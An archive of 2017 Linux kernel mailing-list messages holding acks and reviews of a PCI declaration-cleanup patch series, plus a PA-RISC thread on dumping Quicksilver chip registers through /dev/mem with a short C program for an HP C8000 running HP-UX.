Original-Received: from localhost (localhost [127.0.0.1])
        by bastet.se.axis.com (Postfix) with ESMTP id 07B1718D5F;
        Fri,  6 Oct 2017 09:28:28 +0200 (CEST)
X-Virus-Scanned: Debian amavisd-new at bastet.se.axis.com
Original-Received: from bastet.se.axis.com ([IPv6:::ffff:127.0.0.1])
        by localhost (bastet.se.axis.com [::ffff:127.0.0.1]) (amavisd-new, port 10024)
        with LMTP id 1UN1dBvep-Hv; Fri,  6 Oct 2017 09:28:27 +0200 (CEST)
Original-Received: from boulder02.se.axis.com (boulder02.se.axis.com [10.0.8.16])
        by bastet.se.axis.com (Postfix) with ESMTPS id 5CC3C18D26;
        Fri,  6 Oct 2017 09:28:27 +0200 (CEST)
Original-Received: from boulder02.se.axis.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 3BBD01A067;
        Fri,  6 Oct 2017 09:28:27 +0200 (CEST)
Original-Received: from boulder02.se.axis.com (unknown [127.0.0.1])
        by IMSVA (Postfix) with ESMTP id 2DD6D1A066;
        Fri,  6 Oct 2017 09:28:27 +0200 (CEST)
Original-Received: from seth.se.axis.com (unknown [10.0.2.172])
        by boulder02.se.axis.com (Postfix) with ESMTP;
        Fri,  6 Oct 2017 09:28:27 +0200 (CEST)
Original-Received: from lnxjespern3.se.axis.com (lnxjespern3.se.axis.com [10.88.4.8])
        by seth.se.axis.com (Postfix) with ESMTP id 1B8C52822;
        Fri,  6 Oct 2017 09:28:27 +0200 (CEST)
Original-Received: by lnxjespern3.se.axis.com (Postfix, from userid 363)
        id 17350800EF; Fri,  6 Oct 2017 09:28:27 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20171005203842.18300.67328.stgit@bhelgaas-glaptop.roam.corp.google.com>
X-TM-AS-GCONF: 00
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28227 gmane.linux.kernel.pci:66100 gmane.linux.ports.mips.general:61511 gmane.linux.ports.sh.devel:55835 gmane.linux.ports.sparc:26705 gmane.linux.ports.parisc:27908 gmane.linux.ports.alpha:4436 gmane.linux.ports.ppc64.devel:148703
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28227>

On Thu, Oct 05, 2017 at 03:38:42PM -0500, Bjorn Helgaas wrote:
> From: Bjorn Helgaas <bhelgaas@google.com>
> 
> All users of pcibios_set_master() include <linux/pci.h>, which already has
> a declaration.  Remove the unnecessary declarations from the <asm/pci.h>
> files.
> 
> Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
> ---
>  arch/alpha/include/asm/pci.h   |    2 --
>  arch/cris/include/asm/pci.h    |    1 -

For what it's worth, for the cris changes:

Acked-by: Jesper Nilsson <jesper.nilsson@axis.com>

>  arch/frv/include/asm/pci.h     |    2 --
>  arch/mips/include/asm/pci.h    |    2 --
>  arch/mn10300/include/asm/pci.h |    2 --
>  arch/parisc/include/asm/pci.h  |    1 -
>  arch/sh/include/asm/pci.h      |    2 --
>  arch/x86/include/asm/pci.h     |    1 -
>  8 files changed, 13 deletions(-)

/^JN - Jesper Nilsson
-- 
               Jesper Nilsson -- jesper.nilsson@axis.com
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Fri, 6 Oct 2017 16:39:17 +0200
Lines: 72
Approved: news@gmane.org
Message-ID: <20171006143917.GA4906@alpha.franken.de>
References: <20170930152506.GA10542@alpha.franken.de>
 <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net>
 <20171001114626.GA16118@alpha.franken.de>
 <692A47DA-6F88-44E7-AA7C-2DE516387604@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507300767 12631 195.159.176.226 (6 Oct 2017 14:39:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 6 Oct 2017 14:39:27 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 06 16:39:23 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e0Tmc-0002i9-FF
	for glpp-linux-parisc@m.gmane.org; Fri, 06 Oct 2017 16:39:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751755AbdJFOj3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 6 Oct 2017 10:39:29 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:45772 "EHLO elvis.franken.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751525AbdJFOj2 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 6 Oct 2017 10:39:28 -0400
Original-Received: from uucp (helo=solo.franken.de)
        by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
        id 1e0Tmk-0003cf-00; Fri, 06 Oct 2017 16:39:30 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
        id 64804508B48; Fri,  6 Oct 2017 16:39:17 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <692A47DA-6F88-44E7-AA7C-2DE516387604@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27909
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27909>

On Sun, Oct 01, 2017 at 11:02:01AM -0400, John David Anglin wrote:
> On 2017-10-01, at 7:46 AM, Tom Bogendoerfer wrote:
> 
> > does it have a working graphics card ? 
> 
> It's a FireGL T2:
> 80:00.0 VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] RV350 GL [FireGL T2] (rev 80)

perfect.

Took me a little bit longer to play with a method to dump quicksilver
register. Since I don't have a working HP-UX 11 box, I looked how
to do it with Linux from userspace.

dd if=/dev/mem doesn't work, because it will only give access to memory.

So I recycled my small dump program, which I only used on Linux/MIPS
so far. The nice thing is, it also works for Linux/PARISC:-)

Now the challenge is to see, if it compiles and works on HP-UX the same
way...

A correct dump should start with

3c10b412 4601b002 10000006 20c00000 0c000040 00000000 00000000 00000000

Thomas.


#include <sys/types.h>
#define __USE_LARGEFILE64
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

#define QUICKSILVER_ADDR 0xfffffffffed28000

int main(int argc, char **argv)
{
	int fd;
	int i;
	unsigned int *agp;

	fd = open("/dev/mem", O_RDWR|O_SYNC);
	agp = mmap64(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd,
		    QUICKSILVER_ADDR);
	if (agp == (void *)-1) {
		perror ("mmap");
		exit (1);
	}

	for (i = 0; i < 0x800 / 4; i++) {
		printf ("%08x ", agp[i]);
		if ((i & 7) == 7) {
			printf ("\n");
		}
	}
	close (fd);
}



-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ingo Molnar <mingo@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.pci,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 0/4] PCI: Cleanup unused stuff
Date: Sat, 7 Oct 2017 10:58:58 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20171007085858.hjjowcgm457wo3cg@gmail.com>
References: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507366747 23897 195.159.176.226 (7 Oct 2017 08:59:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 7 Oct 2017 08:59:07 +0000 (UTC)
User-Agent: NeoMutt/20170113 (1.7.2)
Cc: linux-pci@vger.kernel.org, linux-mips@linux-mips.org,
        Rich Felker <dalias@libc.org>, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        David Howells <dhowells@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        linux-am33-list@redhat.com,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        linux-xtensa@linux-xtensa.org, Mikael Starvik <starv
To: Bjorn Helgaas <helgaas@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Oct 07 10:59:00 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e0kwl-0003H4-42
	for glpp-linux-parisc@m.gmane.org; Sat, 07 Oct 2017 10:58:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750952AbdJGI7G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 7 Oct 2017 04:59:06 -0400
Original-Received: from mail-wm0-f68.google.com ([74.125.82.68]:52029 "EHLO
        mail-wm0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750852AbdJGI7D (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 7 Oct 2017 04:59:03 -0400
Original-Received: by mail-wm0-f68.google.com with SMTP id f4so12350951wme.0;
        Sat, 07 Oct 2017 01:59:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=sender:date:from:to:cc:subject:message-id:references:mime-version
         :content-disposition:in-reply-to:user-agent;
        bh=4FcjhsYSOKWP6+9NIQoq0X+RrVTSOwU0Q4pKqDenGPY=;
        b=qRdIDEzK2xpatirGY7bYh0LMOyiAhfDAWP7g53KsbnCU4mRejf/a2c6JAc431G1ot4
         1Ye95HvancSEdjQ/LSd/k6x34UtM+FQI4Ddgp6gsOXD1+Ol5aDqY1ttHKgE052BsiVnc
         /cRyBzdNI1xuPiVykmCS1yYBA5wGu5oORUC9MmoavgGPWoCC0PnTB4fYrGJXuM1Jdflz
         oOIvftUng69GADUVJsL5XdeaMvCVzsBGuESAzXWEwMSpE9SBlZhNQfJkfp+AZT5x7OMd
         wh5RFAOed10ogGbunJyhepHwLLvHqN84WlRugsKmJzrbI9EmvF9cpdy5LlbpdE4xaUkm
         Vhgg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:sender:date:from:to:cc:subject:message-id
         :references:mime-version:content-disposition:in-reply-to:user-agent;
        bh=4FcjhsYSOKWP6+9NIQoq0X+RrVTSOwU0Q4pKqDenGPY=;
        b=I9tRJpkvq+zUFvKpbLvvwbYYjt255Js2Y8GJ9WIvuuFnfEZomUYe/LT79YL+5oFFCP
         MfAcP5vhCuBycxVflxwlKEFU45BYN2YOgWNZY5COhw12B6d5KzIgbmL4YJme8JGPOS8r
         mDMOu4nxhTLD8Et85ZMg7/QyWzQW6BHYYaRZrvPOXs9GrUdbtd22iJNTvaLhyuF+l3HW
         pI5UA5dbKVuZknsxtbx7CqtQCuTgzc7wepOp41ztNu9dk0u9TcewVePv6KMcKR4kX9fM
         8uGOq28289TS0/8Ls+yW7dkWYF7Rb2xsRDDyH97QknnHl3J8o1axd87jXe0E6Tq4YhPG
         bhKQ==
X-Gm-Message-State: AMCzsaV8T7Xh4h+Zjs+IrtWgBKZq/bGSSUXJuaFfBN4u5E25ZFhrZzR8
        zT72k1IyeQcZ0QAoU92D2WA=
X-Google-Smtp-Source: AOwi7QDTvOhmOV0fQXJ5HgamluIM+SxDKJZZn+0TI7AMtGT6GJX7VaTy2fHmqOoAQ9jUmIOpZn4HZw==
X-Received: by 10.28.128.212 with SMTP id b203mr3429162wmd.82.1507366742056;
        Sat, 07 Oct 2017 01:59:02 -0700 (PDT)
Original-Received: from gmail.com (2E8B0CD5.catv.pool.telekom.hu. [46.139.12.213])
        by smtp.gmail.com with ESMTPSA id j4sm1492434wrg.11.2017.10.07.01.59.00
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Sat, 07 Oct 2017 01:59:01 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27910 gmane.linux.kernel.pci:66167 gmane.linux.ports.mips.general:61536 gmane.linux.ports.ia64:28228 gmane.linux.ports.sh.devel:55836 gmane.linux.ports.sparc:26721 gmane.linux.ports.alpha:4437 gmane.linux.ports.ppc64.devel:148775
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27910>


* Bjorn Helgaas <helgaas@kernel.org> wrote:

> Sorry for the long cc list.  These are pretty trivial; they just remove
> some unnecessary declarations across several arches.
> 
> ---
> 
> Bjorn Helgaas (4):
>       PCI: Remove redundant pcibios_set_master() declarations
>       PCI: Remove redundant pci_dev, pci_bus, resource declarations
>       PCI: Remove unused declarations
>       alpha/PCI: Make pdev_save_srm_config() static
> 
> 
>  arch/alpha/include/asm/pci.h            |    5 -----
>  arch/alpha/kernel/pci.c                 |   11 ++++++++++-
>  arch/alpha/kernel/pci_impl.h            |    8 --------
>  arch/cris/include/asm/pci.h             |    9 ---------
>  arch/frv/include/asm/pci.h              |    4 ----
>  arch/ia64/include/asm/pci.h             |    4 ----
>  arch/mips/include/asm/pci.h             |    4 ----
>  arch/mn10300/include/asm/pci.h          |    4 ----
>  arch/mn10300/unit-asb2305/pci-asb2305.h |    3 ---
>  arch/parisc/include/asm/pci.h           |    8 --------
>  arch/powerpc/include/asm/pci.h          |    2 --
>  arch/sh/include/asm/pci.h               |    4 ----
>  arch/sparc/include/asm/pci_32.h         |    2 --
>  arch/x86/include/asm/pci.h              |    2 --
>  arch/xtensa/include/asm/pci.h           |    2 --
>  15 files changed, 10 insertions(+), 62 deletions(-)

Nice cleanups! For the whole series:

  Reviewed-by: Ingo Molnar <mingo@kernel.org>

Thanks,

	Ingo
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Sun, 8 Oct 2017 12:22:50 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <E9BCD0C2-329E-4E93-B4B8-2B928C458BE0@bell.net>
References: <20170930152506.GA10542@alpha.franken.de> <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net> <20171001114626.GA16118@alpha.franken.de> <692A47DA-6F88-44E7-AA7C-2DE516387604@bell.net> <20171006143917.GA4906@alpha.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1507479775 32434 195.159.176.226 (8 Oct 2017 16:22:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 8 Oct 2017 16:22:55 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 08 18:22:50 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e1ELl-0007XP-DT
	for glpp-linux-parisc@m.gmane.org; Sun, 08 Oct 2017 18:22:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752072AbdJHQWx convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 8 Oct 2017 12:22:53 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:41879 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751975AbdJHQWw (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 8 Oct 2017 12:22:52 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20171008162251.FRWT25420.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 8 Oct 2017 12:22:51 -0400
Original-Received: from [192.168.2.25] (really [174.91.88.75]) by mtlspm02.bell.net
          with ESMTP
          id <20171008162251.NZKD3399.mtlspm02.bell.net@[192.168.2.25]>;
          Sun, 8 Oct 2017 12:22:51 -0400
In-Reply-To: <20171006143917.GA4906@alpha.franken.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=d8Ia8VrE c=1 sm=0 tr=0 a=r4XL9qeMyndGrvvN+EpcgQ==:17 a=kj9zAlcOel0A:10 a=02M-m0pO-4AA:10 a=FBHGMhGWAAAA:8 a=8SnLNSU2y1IQ2Wei0yMA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27911
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27911>

On 2017-10-06, at 10:39 AM, Tom Bogendoerfer wrote:

> Now the challenge is to see, if it compiles and works on HP-UX the same
> way...

So far, I'm not having much success.  The system isn't setup with any additional tools
and only HP's 32 and 64-bit non-ansi compilers are available.  So, there are issues with
64-bit constants.  Never set up networking as well.

Using 64-bit "cc +DA2.0W", I get:

mmap: Invalid argument

If I change QUICKSILVER_ADDR to 0, I get:

mmap: No such device

So, I think mmap can't map "/dev/mem".

I tried dd with skip but this gives a bad address.  Maybe lseek + read would work in C code to copy page.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Sun, 8 Oct 2017 12:41:35 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <45425BF6-26D1-4232-957D-F3F057A8966A@bell.net>
References: <20170930152506.GA10542@alpha.franken.de> <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net> <20171001114626.GA16118@alpha.franken.de> <692A47DA-6F88-44E7-AA7C-2DE516387604@bell.net> <20171006143917.GA4906@alpha.franken.de> <E9BCD0C2-329E-4E93-B4B8-2B928C458BE0@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1507480902 19968 195.159.176.226 (8 Oct 2017 16:41:42 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 8 Oct 2017 16:41:42 +0000 (UTC)
Cc: Tom Bogendoerfer <tsbogend@alpha.franken.de>,
        linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 08 18:41:37 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e1Edu-0003st-O8
	for glpp-linux-parisc@m.gmane.org; Sun, 08 Oct 2017 18:41:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752060AbdJHQlh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 8 Oct 2017 12:41:37 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:56461 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751975AbdJHQlh (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 8 Oct 2017 12:41:37 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20171008164135.RDRJ926.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 8 Oct 2017 12:41:35 -0400
Original-Received: from [192.168.2.25] (really [174.91.88.75]) by torspm02.bell.net
          with ESMTP
          id <20171008164135.LZIS2751.torspm02.bell.net@[192.168.2.25]>;
          Sun, 8 Oct 2017 12:41:35 -0400
In-Reply-To: <E9BCD0C2-329E-4E93-B4B8-2B928C458BE0@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=ONPI5WSB c=1 sm=0 tr=0 a=r4XL9qeMyndGrvvN+EpcgQ==:17 a=kj9zAlcOel0A:10 a=02M-m0pO-4AA:10 a=FBHGMhGWAAAA:8 a=ZpB2-MD1Su1d1lW9aRoA:9 a=CjuIK1q_8ugA:10 a=ATlVsGG5QSsA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27912
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27912>

On 2017-10-08, at 12:22 PM, John David Anglin wrote:

> mmap: Invalid argument

Same occurs when gcc is used to compile program.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.pci,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/4] PCI: Remove redundant pcibios_set_master()
 declarations
Date: Mon, 9 Oct 2017 15:10:02 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20171009131002.GF20977@linux-mips.org>
References: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com>
 <20171005203842.18300.67328.stgit@bhelgaas-glaptop.roam.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507554645 22567 195.159.176.226 (9 Oct 2017 13:10:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Oct 2017 13:10:45 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
Cc: linux-pci@vger.kernel.org, linux-mips@linux-mips.org,
        Rich Felker <dalias@libc.org>, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        David Howells <dhowells@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        linux-am33-list@redhat.com,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        linux-xtensa@linux-xtensa.org, Mikael Starvik <starv
To: Bjorn Helgaas <helgaas@kernel.org>
Original-X-From: sparclinux-owner@vger.kernel.org Mon Oct 09 15:10:35 2017
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1e1XpK-0000j0-9M
	for lnx-sparclinux@m.gmane.org; Mon, 09 Oct 2017 15:10:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754481AbdJINKk (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
        Mon, 9 Oct 2017 09:10:40 -0400
Original-Received: from eddie.linux-mips.org ([148.251.95.138]:45920 "EHLO
        cvs.linux-mips.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754295AbdJINKh (ORCPT
        <rfc822;sparclinux@vger.kernel.org>); Mon, 9 Oct 2017 09:10:37 -0400
Original-Received: from localhost.localdomain ([127.0.0.1]:53986 "EHLO linux-mips.org"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S23992533AbdJINKejE94Y (ORCPT
        <rfc822;linux-alpha@vger.kernel.org> + 5 others);
        Mon, 9 Oct 2017 15:10:34 +0200
Original-Received: from h7.dl5rb.org.uk (localhost [127.0.0.1])
        by h7.dl5rb.org.uk (8.15.2/8.14.8) with ESMTP id v99DA7WP012322;
        Mon, 9 Oct 2017 15:10:07 +0200
Original-Received: (from ralf@localhost)
        by h7.dl5rb.org.uk (8.15.2/8.15.2/Submit) id v99DA2Dp012318;
        Mon, 9 Oct 2017 15:10:02 +0200
Content-Disposition: inline
In-Reply-To: <20171005203842.18300.67328.stgit@bhelgaas-glaptop.roam.corp.google.com>
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:26723 gmane.linux.kernel.pci:66196 gmane.linux.ports.mips.general:61559 gmane.linux.ports.ia64:28229 gmane.linux.ports.sh.devel:55843 gmane.linux.ports.parisc:27913 gmane.linux.ports.alpha:4439 gmane.linux.ports.ppc64.devel:148825
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/26723>

On Thu, Oct 05, 2017 at 03:38:42PM -0500, Bjorn Helgaas wrote:

> From: Bjorn Helgaas <bhelgaas@google.com>
> 
> All users of pcibios_set_master() include <linux/pci.h>, which already has
> a declaration.  Remove the unnecessary declarations from the <asm/pci.h>
> files.
> 
> Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
> ---
>  arch/alpha/include/asm/pci.h   |    2 --
>  arch/cris/include/asm/pci.h    |    1 -
>  arch/frv/include/asm/pci.h     |    2 --
